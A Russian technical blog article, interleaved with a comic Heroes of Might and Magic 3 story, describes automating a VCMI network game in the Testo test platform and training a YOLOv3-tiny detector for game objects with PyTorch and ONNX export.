Благодаря механизму кеширования в Testo, все эти тесты вовсе не нужно будет прогонять с нуля каждый раз. Поэтому самые долгие и неинтересные тесты `*install` и `*configure` (установка и первичная настройка ОС) прогонятся вовсе только один раз, после чего вечно будут закешированы. Разбирать эти тесты я не буду, но желающие смогут найти исходники этих тестов в ссылках в конце статьи.
С остальными тестами и интересными моментами из них мы познакомимся чуть позднее, а сейчас самое время узнать, как продвигаются дела у Сандро.
---
*«Вилларибо» — небрежно прочитал Сандро, входя под покровом ночи в первую деревню. Несмотря на поздний час, в ближайшем к Сандро доме горел свет. Открыв калитку, Сандро услышал громкое тявканье из будки, но достаточно было одного взгляда в ту сторону, чтобы тявканье сменилось жалобным воем, а затем и вовсе стихло.*
*Сам дом оказался тоже незапертым. Не то, чтобы это могло стать препятствием, конечно же. Но так эффект от бесшумного появления Сандро в комнате с кучей крестьян оказался максимально удовлетворительным для него. Двадцать с лишним пар глаз мгновенно уставились на него. Весёлые разговоры мгновенно смолкли, оставив лишь гнетущую тишину. Сандро любил гнетущую тишину – как и всё гнетущее. Прошептав своим замогильным голосом «Вы пойдёте со мной», Сандро развернулся и неспешно вышел обратно во двор. Он знал, что ни один тщедушный смертный не посмеет ему перечить, и что эти крестьяне теперь в его власти до самой своей смерти. Да и после смерти тоже. Особенно после смерти.*
*Летом ночи не такие длинные, а сделать нужно ещё очень много. Сандро направился к следующему дому, наслаждаясь тишиной и повиновением своих новых скелетов, пусть пока что в своих бесполезных кожаных оболочках.*
Установка VCMI
--------------
Похоже, дела у Сандро идут вполне неплохо.
Что ж, первые тесты прошли (где-то за кадром), пришло время заняться установкой VCMI. За это отвечают два теста: `ubuntu_install_vcmi` и `win7_install_vcmi`. В них происходит установка самого дистрибутива VCMI и копируются почти все необходимые файлы с оригинальными данными Героев 3 в папки VCMI (Чтобы VCMI мог их подхватить). Точнее, копируются все файлы, кроме папки Maps (в которой лежит только одна карта, скриншот которой вы видели выше). Эта папка будет скопирована чуть позже. Вот так выглядит этот процесс на примере Ubuntu:
> Уважаемые читатели, автор в курсе про правило «не выкладывать код скриншотами», но тесты написаны на языке Testo-lang, и Хабр не поддерживает подсветку этого языка. Я считаю, что лучше уж выложить скриншот, зато код не будет сливаться в одно месиво. Ссылки на все тесты доступны в конце статьи, вы всегда можете увидеть их текстовое представление там.
>
>
Пробежимся вкратце по тесту:
1. Сам VCMI устанавливается из репозитория `ppa:vcmi/ppa`.
2. Нужно один раз запустить VCMI Launcher, чтобы он создал свои служебные папки в `~/.local/share`.
3. Копируем с хоста папки Data, Mp3, Mods/vcmi в служебные папки VCMI. Папки Data и Mp3 содержат файлы с данными оригинальных Героев. Папка Mods/vcmi содержит мод vcmi, который позволяет устанавливать нормальное разрешение экрана.
4. Копируем файл `vcmi_settings.json` с настройками VCMI, чтобы не нужно было прокликивать настройки с помощью мышки.
А что же с папкой Maps? Почему бы её тоже сразу не скопировать? Не буду вас перегружать сейчас деталями этого решения, вы сами всё увидите ближе к концу статьи.
Для Windows процесс выглядит примерно так же (разве что дистрибутив копируется с хоста, а не из Интернета), останавливаться отдельно не буду.
---
*«Некромант? Здесь, в Балашове? Что вообще происходит?» — эти и многие другие мысли наперебой мелькали в голове у Гены, пробиваясь сквозь пелену худшего похмелья в его не такой уж и долгой жизни.*
*Он сидел в комнате для совещаний, закрыв лицо руками, и не верил своим ушам. Помимо него в комнате находилось ещё двое: крестьянин из Вилларибо и единственный штатный монах во всём Балашове по имени Станислав. Станислав, в отличие от Гены, был отправлен в Балашов на пенсию, а не «чтобы не отсвечивать». Навоевался монах в свои годы, и просто хотел на старости лет отдохнуть.*
*Крестьянин только что закончил рассказывать, как он чудом спасся от «скелета в плаще», который ходил по домам и забирал с собой всех, кого найдёт. Станислав же мрачно озвучил свой вердикт, который теперь эхом гудел у Гены в голове.*
*— Откуда он тут взялся? — это оказался единственный вопрос, который был способен сгенерировать Генин разум в этой ситуации.*
*— Я не знаю, да это и неважно. Важно лишь то, что все крестьяне из обоих деревень скоро станут скелетами, если уже не стали. Это больше 400 скелетов. С этой армией он наверняка захочет захватить наш замок, — Станислав был мрачен, но непоколебим.*
*— И что нам теперь делать?*
*— Нам нечем защищаться. У нас нет войск. Все, кто могут держать оружие, слишком далеко – они не успеют вернуться в замок до атаки некроманта.*
*— Так и как же быть?*
*— Достраивать защитные и тренировочные сооружения тоже не получится – уж лучше стать скелетом, чем потом объясняться с руководством почему мы всё это построили без согласования.*
*— И какие у нас варианты?*
*— Нам поможет только один вариант – это магия. Мы построим гильдию магов, и у нас появится шанс отбить наш замок с помощью правильной магической стратегии. Хорошо, что за строительство гильдии магов отвечает монастырская коллегия, у меня там есть пара знакомых.*
*— Так каков в итоге план?*
*— Мы построим гильдию магов первого уровня и выдадим тебе книгу заклинаний. С этой книгой ты пойдёшь на срочные курсы повышения магической квалификации. За пару дней тебе придётся стать мало-мальски достойным магом. Пока ты будешь просвещаться, мы достроим гильдию магов до приемлемого уровня. Если нам повезёт с заклинаниями, то у нас будет шанс.*
*Замыленные месяцем возлияний мозговые шестерёнки в голове у Гены наконец-то со скрипом прокрутились, и он с ужасом осознал: ему придётся изучать магию. МАГИЮ! Магию изучают ЗУБРИЛЫ! Сам же Гена всегда был свято уверен, что жизнь слишком коротка, чтобы тратить её на изучение каких-то ветхих непонятных книг.*
*Гена был потрясён и обескуражен до глубины души. В мгновение ока он забыл про некроманта, про орды скелетов и про залежи вина в погребах. Заикаясь, Гена выдавил:*
*— Я, я не могу изучать м-магию. Мне нельзя магию! Мне нельзя доверять книгу заклинаний, я даже грифонов в таверне умудрился пропить! Нам лучше сдать замок и эвакуироваться!*
*— Мы не можем сдать замок, потому что идти нам некуда. Вокруг глушь на сотни километров. Некромант нас нагонит – и тогда шансов у нас никаких. К тому же магия это не так сложно, как кажется. Сегодня отдыхай и приведи себя в порядок, а завтра с утра сразу же отправляйся к Игорю – он живёт недалеко от замка. Передашь ему письмо от меня, он введёт тебя в курс дела.*
Запуск сетевой игры
-------------------
За запуск сетевой игры отвечает тест `launch_game`. Это первый тест, куда "сходятся" отдельные ветки Ubuntu и Windows 7. Это и понятно, ведь для запуска сетевой игры требуется наличие в тесте обоих машин (ранее мы могли всё делать по отдельности). Ubuntu (Сандро) выступает в качестве сервера, а Windows (Гена) — в качестве клиента. Так что тест выглядит следующим образом:
1) Копируем папку Maps с хоста на Ubuntu и запускаем VCMI. Создаём новую конференцию для игры по сети.
**Сниппет**
2) Копируем папку Maps с хоста на Windows 7 и запускаем VCMI. Подключаемся к конференции по IP-адресу.
**Сниппет**
3) Каждый игрок выбирает себе начальный бонус, после чего игра запускается.
**Сниппет**
Можно заметить, что этот тест выглядит как простое сочетание кликов по тексту и по изображениям (все изображения я заранее вырезал и упаковал в файлы, путь к которым теперь указывается в действиях `mouse click`).
Но дальше начинается сама игра. И если вы думаете, что вся партия будет выглядеть как простой набор прокликиваний по куче картинок, то вы заблуждаетесь. Нет, здесь начинается самая интересная часть нашей статьи. Благодаря небольшому тюнингу языка и специальным нейросетям я смог научить платформу Testo неплохо ориентироваться в мире иконок и моделей Героев 3.
---
*— Просто поставь подпись в ведомости вот здесь, — пробормотал Игорь, — теперь давай сюда свою книгу, сейчас мы её разблокируем…*
*Гена молча протянул свою абсолютно свежую книгу заклинаний. В гильдии магов ему пришлось отдать за неё 500 золотых и даже проставили какие-то картинки в неё, но он не имел ни малейшего понятия, как ей пользоваться.*
*Игорь достал из кармана какую-то печать и проштамповал все страницы книги, после чего протянул книгу обратно со словами «Ну всё, теперь можешь использовать заклинания третьего уровня».*
*— В смысле «могу»?! Я же ничего не знаю! Я не умею в МАГИЮ!*
*— Конечно можешь. Я же только что проштамповал книгу печатью базовой мудрости.*
*Гена просто молчал.*
*— Ты что, вообще не знаешь, как работает магия?*
*Больше молчания.*
*— Вот ё-моё, понабирают рыцарей по объявлению. Давай объясню. Это твоя личная книга заклинаний. В неё можно заносить заклинания, но для это требуются специальные инструменты, которые есть только в гильдиях магов, поэтому новые заклинания в книгу можно заносить только там. Вот, тебе уже даже какие-то заклинания сюда проставили.*
*По умолчанию в книгу можно проставлять только слабенькие заклинания, 1-2 уровней. Чтобы заносить заклинания помощнее, нужно разблокировать книгу специальными печатями. Станислав попросил меня проставить тебе печать базовой мудрости, так что вот – теперь и заклинания третьего уровня можно заносить.*
*А ещё есть печати, которые усиливают заклинания определённой школы. Например, у тебя есть заклинание Замедления. Станислав тут в письме просит, чтобы я тебе проставил печать экспертного знания магии земли. Но я этим не занимаюсь, это тебе дальше по дороге надо пройти.*
*Гена никогда ещё не получал так много информации в такие сжатые сроки. Но он знал, что ради родного Балашова (и родных феечек) он должен стать лучше! Он должен попробовать вникнуть!*
*— А пользоваться то этой книгой как?*
*— Проще некуда. В бою открываешь книгу, и нажимаешь пальцем на нужное заклинание. Книга задаст тебе контрольный вопрос (какой-нибудь общеизвестный факт), на который надо ответить. Отвечаешь правильно – заклинание срабатывает. Это стандартная практика аутентификации, чтобы книгой не могли пользоваться всякие малограмотные крестьяне, если вдруг они завладеют книгой.*
*На слове «малограмотные» Гена непроизвольно сглотнул слюну. Слово «аутентификация» он решил просто проигнорировать.*
*— Чем дольше ты используешь книгу в бою и чем сложнее заклинания – тем сложнее будут вопросы. Так что чтобы быть хорошим магом, надо много всего знать. Судя по письму от Станислава, твоих знаний едва хватит на первые пару вопросов от книги.*
*Гена сомневался, что он хоть один вопрос сможет осилить, но решил снова промолчать.*
*— У нас нет времени чтобы обучать тебя как положено, так что придётся схитрить. После того, как проставишь все печати магии земли, пойдешь на аллею к югу от замка. Там через равные промежутки спрятаны тайники, я отмечу тебе их на карте. В тайниках есть шпаргалки — порции ответов на часто задаваемые вопросы от книги заклинаний – так что тебе нужно будет только вызубрить эти конкретные ответы и на этом всё. Не забудь вернуть шпаргалки на место, ты не один такой тут бродишь.*
*Гене нравилось слово «шпаргалка», но не нравилось слово «зубрить». Зубрить шпаргалки – это же почти и есть «Учиться»! Но выбора у Гены не было, так что он спрятал в рюкзак свою книгу заклинаний и поплёлся проставлять оставшиеся печати.*
Похождения на карте и не только
-------------------------------
Начинается игра, и возникает вопрос: а как автоматизировать действия героев на карте? Сначала я пошёл довольно топорным путём: каждый пункт назначения Сандро и Гены был оформлен в виде изображения-шаблона, который затем передавался на вход действию `mouse click img`. То же самое касалось любых других действий: нажатие иконок, постройка зданий и так далее. То есть я применял довольно прямолинейный (и распространённый) способ управлять действиями на экране виртуалки — поиск изображения по образцу.
А потом количество заготовок стало зашкаливать, да и не все они хорошо работали: например, при попытке кликнуть по нужной звёздной оси поиск образа не всегда отрабатывал как нужно, ведь в этом объекте присутствует анимация:
Так что я подумал, а почему бы не сделать отдельную нейросеть для работы исключительно с объектами в Героях 3? За счёт того, что этой нейросети придётся работать с ограниченным набором объектов, она сможет довольно качественно их распознавать, даже несмотря на анимацию, вариативность цветов и так далее.
А чтобы этой нейросетью можно было удобно пользоваться, я решил добавить новую возможность в язык Testo-lang. Теперь действия `wait` и `mouse click` помимо текста и картинок поддерживают возможность ожидания и кликов по объектам Героев!
Вот так выглядел один из фрагментов теста **до** преобразований:
А вот так — после:
Стало ли удобнее? На первый взгляд может показаться, что разница минимальна, но это не так: за каждой картинкой в `img` скрывается ручная работа: требуется сделать скриншот виртуальной машины и вырезать оттуда требуемый шаблон. Поиск с помощью `homm3` работает на основе нейросетей, так что никаких действий с моей стороны не требуется — только пользуйся. К тому же нейросети берут на себя заботы по возможной анимированности искомых объектов и помогут ещё в ряде случаев (подробности будут дальше).
> Уважаемые читатели! Функционал платформы Testo по поддержке работы с объектами Героев 3 я выполнил в режиме Proof Of Concept и исключительно just for fun. Этот функционал очень сильно недоделан и не подходит для полноценного использования с Героями 3. В конце статьи доступна экспериментальная сборка Testo, на которой вы сможете запустить примеры, но доделывать полноценный вариант я не решился из-за сомнительной ценности и больших трудозатрат.
>
>
В следующем пункте статьи я расскажу немного технических подробностей о процессе подготовки датасета и обучения нейросетей, а пока — геройская пауза.
---
*Сандро скомандовал последней порции крестьян пройти обряд «улучшения» (как он это называл). Люди, один за одним, отправились в сторону преобразователя скелетов. В их глазах была вселенская тоска от понимания своей участи (в конце концов, все они видели, что происходит с их предшественниками), но никто не посмел возразить властному некроманту.*
*Из преобразователя выходили изрядно потерявшие в весе крестьяне, лишенные всех своих былых недостатков. Сразу после этого другие скелеты одевали на них какую-никакую броню, и давали в руки штатный ржавый меч.*
*В мгновение ока Сандро превратился из остерегающегося патрулей скрытого агента в могущественного предводителя армии тьмы (роль, к которой он очень сильно привык). И он знал, куда он направит свою армию тьмы в первую очередь. Повинуясь беззвучной команде Сандро, орды скелетов направились в сторону виднеющегося вдали замка.*
Обучение геройской сети
-----------------------
Итак, мы решили создать нейросеть, чтобы облегчить себе прокликивание различных объектов. С чего же нам начать? Создание любой нейросети начинается с данных для обучения. В нашем случае мы решаем задачу, которая называется object detection. Соответственно, для обучения нам понадобятся скриншоты Героев, для каждого скриншота должен быть список объектов, которые изображены на нём, их классы (например, "герой" или "город") и их координаты (так называемый bounding box, сокращённо bbox). Причем данных нам понадобится много: гигабайты, а ещё лучше — десятки гигабайт. Как же нам создать такой большой датасет? Давайте рассмотрим основные варианты:
1. Можно вручную наснимать 100 тысяч скриншотов Героев и так же вручную их разметить. По понятным причинам этот вариант отметаем сразу.
2. Мы можем воспользоваться тем фактом, что VCMI движок перед отрисовкой очередного кадра и так знает, где какие объекты находятся. То есть теоретически мы можем подправить исходники VCMI таким образом, чтобы он нагенерил нам большое количество скриншотов и сохранил информацию об объектах куда-нибудь в файл, например. Исходники VCMI довольно хорошего качества, однако реализовать такой план не так-то просто, потому что логика отрисовки объектов тесно переплетена с механикой игры. Нельзя просто так взять и сказать "отрисуй мне вот эту карту". К сожалению, придётся отказаться от этого плана из-за слишком больших трудозатрат.
3. Есть ещё один компромиссный вариант, который подходит для большинства задач класса object detection. Идея заключается в том, чтобы вручную разметить относительно небольшое количество скриншотов (допустим — 100 штук), а затем разнообразить их путём отрисовки в случайных местах тех объектов, которые мы собирается потом детектить. Разумеется, дополнительно можно применить и другие способы искажения изображений: кадрирование, масштабирование, отражение слева-направо, изменения контраста и яркости, инверсия цветов и т.д. Этот вариант вполне рабочий, а главное его можно реализовать всего за пару дней.
Сказано — сделано. Разметить 100 скриншотов не представляет никакой сложности, особенно, если использовать подходящий инструмент разметки. Можно использовать любой из свободных инструментов, например — [LabelImg](https://github.com/tzutalin/labelImg). Но я использую собственный интрумент разметки на базе [Electron](https://www.electronjs.org/) и [KonvaJS](https://konvajs.org/). Использование своего инструмента удобнее с той точки зрения, что его легче затачивать именно под решение своих задач.
Итак, с разметкой разобрались, теперь нужно определиться с тем, какие объекты мы будем рисовать поверх скриншотов. Я решил, что нейросети стоит применять только там, где плохо подходит стандартный и уже встроенный в Testo детект изображений (`wait img`). Поэтому для определения зоны ответственности для новой нейросети я руководствовался следующими принципами:
1. В первую очередь, конечно, это анимированные объекты, потому что иначе действие `wait img` просто не будет работать. К таким объектам относятся, например, анимированные иконки построек в меню города.
2. Объекты, у которых может быть разный фон (иначе понадобится вырезать новую картинку на каждый новый фон). Пример такого объекта — иконка героя или любого другого объекта на карте.
3. Объекты, у которых может быть много вариаций. Например — кнопка ОК. У неё в игре есть где-то 5-6 разных вариантов отрисовки. Вырезать 5-6 картинок — это не проблема, но каждый раз подбирать, какая же картинка лучше подходит в данном конкретном случае — нет никакого желания.
Для того, чтобы извлечь оригиналы иконок объектов с альфа каналом я использовал проект [lodextract](https://gitlab.mister-muffin.de/josch/lodextract). На вход ему подаются .lod файлы из оригинальной версии игры, а на выходе он выдаёт неимоверно большое количество .png картинок (десятки тысяч), например, вот таких:
Порывшись в этой куче и найдя нужные мне иконки я приступил ко второй фазе создания датасета — отрисовка объектов поверх скриншотов. Неочевидным моментом здесь является то, что иконки можно отрисовывать не только там, где они встречаются в процессе игры. Например, иконку героя не обязательно отрисовывать на карте, её можно нарисовать в любом месте, например, в гильдии магов. Поэтому могут получится вот такие забавные картинки:
Строго говоря, в качестве фона даже необязательно было брать скриншоты из игры, можно было взять любые другие изображения. Но, как мне кажется, если использовать скриншоты из игры — результат получится лучше.
Процесс искажения изображений я разделяю на два этапа. Наиболее сложные операции, в том числе — отрисовка объектов поверх скриншота, я делаю до обучения нейросети. Результат этого этапа сохраняется на диск, получается около 100Гб данных. Приятным бонусом в такой схеме является то, что можно любым удобным способом открывать файлы на диске и проверять, что данные сгенерировались правильно. Второй этап происходит "на лету" уже во время обучения сети. Сюда входят простые операции, такие как изменение контраста или инверсия цветов.
Таким образом мы плавно подошли к обучению нейросети. Для начала нам нужно определиться с её архитектурой. Я выбрал [yolov3-tiny](https://pjreddie.com/darknet/yolo/), но на самом деле это не так уж важно. Для нашей очень простой задачи, впринципе, подойдёт любая архитектура, выполняющая детект объектов. Гораздо бОльшее значение здесь имеет датасет. Нейросети имеют удивительное свойство "выдавать результат" несмотря на их небольшой размер или неоптимальную архитектуру. Главное не давать сети зацикливаться на косвенных признаках объектов. Например, нейросеть может подумать, что коричневые пиксели — это учёный (scholar), если на скриншотах в датасете больше не встречается объектов коричневого цвета. Поэтому так важно иметь большой и качественный датасет. А архитектура нейросети — это второстепенный вопрос.
Я не буду останавливаться детально на архитекруте Yolo, тем более, что есть подробная [статья](https://blog.paperspace.com/how-to-implement-a-yolo-object-detector-in-pytorch/) на эту тему. Обратим внимание только на входные и выходные данные.
На вход сети подаётся набор картинок, а на выходе для каждой картинки мы получаем по несколько тысяч векторов (для больших картинок, типа FullHD). Это одна из особенностей работы нейросетей: мы в какой-то степени использум брутфорс, нежели какую-ту изощренную логику. Каждый вектор состоит из следующих значений:
* вероятность, что этот вектор описывает какой-то объект на картинке (objectness score). Для большинства векторов это значение будет около нуля.
* координаты центра объекта (x, y), а также его ширина и высота (w, h)
* набор значений, описывающих вероятности того, что этот объект принадлежит к каждому из классов (class scores)
То есть выход нейросети требует ещё некоторой постобработки. Нужно отфильтровать вектора с низким objectness score, а также объединить вектора, которые указывают на один и тот же объект. Эти операции не добавляются в модель нейросети, потому что они плохо подходят под архитектуру GPU (у нас получится размерность выходных данных всё время разная). К этому вопросу мы вернёмся чуть позже, а пока предлагаю мельком взглянуть на код нейросети, написанный с ипользованием фреймвока [PyTorch](https://pytorch.org/):
**Код модели**
```
import torch
import torch.nn as nn
import torch.nn.init as init
import torch.nn.functional as F
from dataset import classes_names
def Conv(in_ch, out_ch, kernel_size, activation='leaky'):
seq = nn.Sequential(
nn.Conv2d(in_ch, out_ch, kernel_size=kernel_size, padding=kernel_size//2),
nn.BatchNorm2d(out_ch),
)
if activation == 'leaky':
seq.add_module("2", nn.LeakyReLU(0.1))
elif activation == 'linear':
pass
else:
raise "Unknown activation"
return seq
def MaxPool(kernel_size, stride):
if kernel_size == 2 and stride == 1:
return nn.Sequential(
nn.ZeroPad2d((0, 1, 0, 1)),
nn.MaxPool2d(kernel_size, stride)
)
else:
return nn.MaxPool2d(kernel_size, stride)
# Псевдо-слой сети, служит для конкатенации выходов из нескольких других слоёв
class Route(nn.Module):
def __init__(self, layers_indexes):
super().__init__()
self.layers_indexes = layers_indexes
class Upsample(nn.Module):
def __init__(self, scale_factor, mode="nearest"):
super().__init__()
self.scale_factor = scale_factor
self.mode = mode
def forward(self, x):
x = F.interpolate(x, scale_factor=self.scale_factor, mode=self.mode)
return x
num_classes = len(classes_names)
# Псевдо-слой сети, служит для нормализации выходов предыдущего слоя и
# преобразования x,y,w,h в пиксели
class Yolo(nn.Module):
def __init__(self, anchors):
super().__init__()
self.anchors = anchors
self.mse_loss = nn.MSELoss()
self.bce_loss = nn.BCELoss()
self.obj_scale = 1
self.noobj_scale = 100
# Вычесление intersection over union двух bbox-ов
def bbox_wh_iou(self, w1, h1, w2, h2):
inter_area = torch.min(w1, w2) * torch.min(h1, h2)
union_area = w1 * h1 + w2 * h2 - inter_area
return inter_area / (union_area + 1e-16)
def forward(self, x, img_w, img_h):
B, C, H, W = x.shape
num_anchors = len(self.anchors)
prediction = x.view(B, num_anchors, num_classes + 5, H, W) \
.permute(0, 1, 3, 4, 2) \
.contiguous() # преобразуем к формату (B, num_anchors, H, W, num_classes + 5)
# размеры одной ячейки (ширина и высота) в пикселях
stride_x = img_w / W
stride_y = img_h / H
# номера столбцов и строк
grid_x = torch.arange(W).repeat(H, 1).view([1, 1, H, W]).to(x.device)
grid_y = torch.arange(H).repeat(W, 1).t().view([1, 1, H, W]).to(x.device)
# размемы якорей (ширина и высота) в пикселях
anchor_w = x.new_tensor([anchor[0] for anchor in self.anchors]).view((1, num_anchors, 1, 1))
anchor_h = x.new_tensor([anchor[1] for anchor in self.anchors]).view((1, num_anchors, 1, 1))
# преобразуем x,y,w,h в пиксели
pred_x = (prediction[..., 0].sigmoid() + grid_x) * stride_x
pred_y = (prediction[..., 1].sigmoid() + grid_y) * stride_y
pred_w = prediction[..., 2].exp() * anchor_w
pred_h = prediction[..., 3].exp() * anchor_h
# приводим вероятности к диапазону [0, 1]
pred_conf = prediction[..., 4].sigmoid()
pred_cls = prediction[..., 5:].sigmoid()
# из матрицы делаем список
# это позволит объединить вместе выходы Yolo разных размеров
return torch.cat(
(
pred_x.view(B, -1, 1),
pred_y.view(B, -1, 1),
pred_w.view(B, -1, 1),
pred_h.view(B, -1, 1),
pred_conf.view(B, -1, 1),
pred_cls.view(B, -1, num_classes),
),
-1,
)
class Model(nn.Module):
def __init__(self):
super().__init__()
# размеры якорей
anchors_1 = [(81,82), (135,169), (344,319)]
anchors_2 = [(10,14), (23,27), (37,58)]
# список всех слоёв сети
self.module_list = nn.ModuleList([
Conv(3, 16, 3),
MaxPool(2, 2),
Conv(16, 32, 3),
MaxPool(2, 2),
Conv(32, 64, 3),
MaxPool(2, 2),
Conv(64, 128, 3),
MaxPool(2, 2),
Conv(128, 256, 3),
MaxPool(2, 2),
Conv(256, 512, 3),
MaxPool(2, 1),
Conv(512, 1024, 3),
#############
Conv(1024, 256, 1),
Conv(256, 512, 3),
Conv(512, (num_classes + 5) * len(anchors_1), 1, activation='linear'),
Yolo(anchors_1),
Route([-4]),
Conv(256, 128, 1),
Upsample(2),
Route([-1, 8]),
Conv(128 + 256, 256, 3),
Conv(256, (num_classes + 5) * len(anchors_2), 1, activation='linear'),
Yolo(anchors_2)
])
def forward(self, img):
layer_outputs = []
yolo_outputs = []
x = img
# просто применяем очередной слой к выходу от предыдущего слоя
# (или объединяем выходы нескольких слоёв в случае с Route)
for module in self.module_list:
if isinstance(module, Route):
x = torch.cat([layer_outputs[i] for i in module.layers_indexes], 1)
elif isinstance(module, Yolo):
x = module(x, img.shape[3], img.shape[2])
yolo_outputs.append(x)
else:
x = module(x)
layer_outputs.append(x)
return torch.cat(yolo_outputs, 1)
```
У нас получилась модель, которая на диске занимает примерно 35Мб. На самом деле это перебор для такой простой залачи, как детект объектов в Героях. Я уверен, что можно безболезненно уменьшить размер модели где-то до 5Мб, при этом не потеряв в точности детекта. Но на это нет времени, история Гены и Сандро ждёт своего продолжения. Двигаемся дальше.
Имея датасет и код нейросети, обучить её не составяет труда. Запускаем обучение и уходим погулять часа на 3.
На картинке выше изображен график функции ошибки. Как мы видим за 3 часа цикл обучения успел выполнить около 70 тысяч итераций и процесс обучения сошелся. Также мы видим, что примерно на 7 тысячах итераций случился какой-то непонятный всплеск. Это может свидетельствовать о том, что мы допустили какую-то ошибку при генерации датасета и вместо корректных обучающих данных подсунули нейросети какую-ту лажу. Здесь как раз может пригодится то, что все скриншоты имеются на диске, можно открыть проблемный и изучить его повнимательнее. Но, скорее всего, это просто оптимизатор по инерции вылетел из локального минимума, в целом — это совершенно нормальное поведение.
Сеть обучена, замечательно. Однако возникает резонный вопрос, как это дело интегрировать в конечный продукт (если он не на питоне)? Самый простой, наверное, способ — это слинковаться с libpytorch. Более того, мы могли бы вместо того, чтобы писать код нейросети на питоне — написать его сразу на С++ и даже получить некоторый прирост производительности, благо PyTorch предоставляет [C++ frontend](https://pytorch.org/tutorials/advanced/cpp_frontend.html). Однако, не очень то хочется тащить за собой весь PyTorch, ведь он даже в заархивированном виде весит целый гигабайт. Поэтому я использую [OnnxRuntime](https://www.onnxruntime.ai/). Он позволяет сократить размер дистрибутива в два раза, а также увеличить производительность работы нейросетей. Как следует из названия, этот проект позволяет загружать обученные модели нейросетей в формате onnx и запускать их, так что нам для начала нужно экспортировать нашу модель в этот формат:
```
model = Model()
model.load_state_dict(torch.load("path_to_model.pt", map_location=torch.device('cpu')))
model.eval()
x = torch.randn(1, 3, 480, 640)
output = model(x)
torch.onnx.export(model, x, "model.onnx",
input_names=["input"],
output_names=["output"],
dynamic_axes={
'input': {
2: 'height',
3: 'width'
},
'output': {
2: 'height',
3: 'width'
}
},
opset_version=11
)
```
Я указал здесь параметр `dynamic_axes`, это позволит подавать на вход сети картинки любого размера. Вообще, с экспортом в формат onnx нужно быть очень осторожным. Когда мы пишем код модели на питоне — то мы используем привычные нам циклы, условия и переменные. А формат onnx описывает граф с вершинами и ребрами. Сконвертировать одно в другое — это совершенно нетривиальная задача. Убедиться в том, что экспорт прошел успешно, можно с помощью просмотрщика формата onnx, например с помощью [Netron](https://github.com/lutzroeder/netron). Но скорее всего, если что-то пойдёт не так, PyTorch выдаст предупреждение. Экспортировав модель в формат onnx, мы можем загрузить её из С++/C#/Java/NodeJS. Ниже пример для питона:
```
import onnxruntime
import numpy
ort_session = onnxruntime.InferenceSession("model.onnx")
x = numpy.rand(1, 3, 480, 640)
ort_inputs = {"input": x}
ort_outs = ort_session.run(None, ort_inputs)
```
Вот здесь как раз можно выполнить постобработку результатов работы нейросети. Векторы с низким objectness score просто отбрасываем, а к остальным применяем алгоритм [Non-Maximum Suppression](https://towardsdatascience.com/non-maximum-suppression-nms-93ce178e177c). Давайте, наконец, запустим нашу свежеобученную нейросеть и посмотрим, как она работает:
Я обучал нейросеть детектить только те объекты, которые мне нужны для теста, поэтому на скриншоте выше подсвечены не все объекты. Ура! Вроде всё работает, а значит мы можем автоматизировать похождения Гены и Сандро по карте:
Битва
-----
*Гена стоял на стене замка и в тайне надеялся, что он до сих пор находится в страшном алкогольном сне. За свою недолгую военную карьеру Гена так и не успел повидать не то, что настоящего некроманта, но даже простого скелета. Сейчас же скелетов перед ним было столько, что они даже не помещались в одно поле зрения.*
*Гена тоскливо взглянул назад, где сиротливо стояли его «войска» — все его 20 феечек, которые неделю назад решили проводить его до города. Гене пришлось включить всё своё природное обаяние и пообещать феечкам целые груды золота и запасов вина чтобы они согласились остаться оборонять город. Гена заверил их, что до них никто и пальцем не дотронется, исход битвы должна решить только магия.*
*Перед боем Станислав рассказал Гене, как нужно использовать магию: сначала необходимо притормозить скелетов с помощью замедления (и не забывать следить за тем, чтобы эффект заклинания не кончился), а затем использовать заклинание «Уничтожить нежить» до тех пор, пока Гене будет хватать знаний. Знаний у Гены конечно прибавилось после всех шпаргалок с ответами, которые он добывал всю неделю. К тому же перед боем он хлебнул воды из какого-то магического фонтана, после чего у него на удивление сильно обострилась память, так что ответы из шпаргалок прочно сидели у него в голове.*
*Но скелетов было так много, что даже обостренный ум Гены мог не выдержать. Всё могло решиться в самых мелочах.*
---
*Сандро был уверен в своих силах, как никогда. Он чувствовал, что гарнизон города состоит всего из нескольких фей, которые ни в коей мере не смогут оказать никакого сопротивления его армии мертвецов. Пора было начинать бой. Сандро скомандовал катапульте открыть огонь по стенам замка.*
Ну вот мы и добрались до кульминации эпического противостояния молодого безалаберного рыцаря и умудрённого тысячелетиями некроманта.
Битва будет протекать по такому сценарию:
1. Сандро будет атаковать на автопилоте.
2. Гена кастует экспертное замедление и перемещает феечек наверх карты.
3. Пока Сандро медленно продвигает своих скелетов вперёд, Гена кастует "Уничтожение нежити".
4. Через 5 ходов Гена обновляет замедление и перемещает феечек в низ карты.
5. Гена продолжает кастовать "Уничтожение нежити" пока у него не кончится мана или пока не кончатся скелеты.
Тест может закончиться тремя исходами:
1. Бой заканчивается поражением Гены меньше, чем за 13 ходов — провал.
2. Бой длится 13 ходов и больше — провал.
3. Гена побеждает быстрее, чем за 13 ходов — успех.
Вот так это выглядит в виде теста:
Часть действий я инкапсулировал в виде макросов `cast_slow_routine` и `blue_battle_routine`, чтобы тест не выглядел слишком загромождённым.
Исход битвы, пожалуй, не буду спойлерить — лучше посмотрите сами.
*Гена с ужасом смотрел в книгу заклинаний. До сих пор ему удавалось отвечать на все всплывающие вопросы, и ряды скелетов уменьшались прямо на глазах. Гена уже предвкушал свою первую в жизни победу, да ещё какую! Воистину эпическую! Гена уже начал задумываться о том, какую вечеринку он закатит после этой победы, какая слава его ждёт. Его не смущали ни разрушенные стены замка, ни скелеты, которые уже были внутри города. Ещё буквально одно заклинание – и всё будет кончено. Так он думал пол минуты назад.*
*«Сколько раз за один ход королевский грифон может ответить на атаку противника?» — гласила надпись на книге. Это был первый вопрос, которого не было в шпаргалках Гены.*
*За всё своё время рыцарства Гена так и не удосужился узнать хоть что-нибудь об этих ужасных страшных созданиях. Его познания о грифонах ограничивались тем, что если пропить их в таверне, тебя сошлют в Балашов.*
*Гена стал судорожно подбирать правильный ответ. Книга допускала 2 неверные попытки, после чего заклинание блокировалось на какое-то время. У Гены этого времени не было: оставшиеся скелеты уже ломились к нему на стену замка. От фей тоже было мало проку: они забились в угол и ждали, когда Гена, наконец, прочтёт завершающее заклинание.*
*Варианты «2» и «3» раза не понравились книге заклинаний.*
---
